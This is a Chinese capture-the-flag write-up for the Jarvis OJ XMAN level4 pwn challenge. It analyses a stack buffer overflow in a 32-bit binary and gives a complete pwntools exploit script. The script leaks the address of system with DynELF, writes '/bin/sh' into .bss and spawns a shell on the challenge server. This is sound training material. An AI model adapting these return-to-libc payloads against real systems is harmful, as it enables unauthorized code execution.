在 Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level4.
题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。
首先使用 file
命令查看文件
file ./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
程序是32位 ELF 文件
使用 checksec
查看文件保护机制 (gdb peda插件)
gdb ./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
程序启用了 NX (栈不可执行)
用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
return read(0, &buf, 0x100u);
}
level4 是 level3 的升级版,程序差别不大,只是没有给出 libc
,这时候可以通过内存泄漏从内存中寻找 system
函数地址。可以使用 pwntools
的 DynELF
模块来完成。
使用 DynELF
模块首先需要实现一个 leak
函数,接受一个地址作为参数,返回该地址的内容
def leak(address):
payload = 'A' * 140
payload += p32(write_plt)
payload += p32(vulnerable_function_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.sendline(payload)
data = io.recv(4)
print('%#x ==> %s' % (address, data.encode('hex')))
return data
然后使用 DynELF
得到 libc.so
中 system
函数在内存中的地址
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
但是 DynELF
不能获取 /bin/sh
的地址。我们可以使用 read
函数将 /bin/sh
读入到 bss
段,再调用system
函数执行 system('/bin/sh')
。
使用 pwntools 编写 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from pwn import *
def main(local=False):
if local:
context.log_level = 'debug'
io = process('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
else:
context.log_level = 'info'
io = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
# symbol in level4
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = elf.bss()
print('write_plt: %s' % hex(write_plt))
print('read_plt: %s' % hex(read_plt))
print('bss_addr: %s' % hex(bss_addr))
def leak(address):
payload = 'A' * 140
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.sendline(payload)
data = io.recv(4)
print('%#x ==> %s' % (address, data.encode('hex')))
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
print('system_addr: %s' % hex(system_addr))
# read(0, bss_addr, 8)
payload = 'A' * 140
payload += p32(read_plt)
payload += p32(main_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
io.sendline(payload)
io.send('/bin/sh\x00')
# system('/bin/sh')
payload = 'A' * 140
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(bss_addr)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
main(True)
else:
main()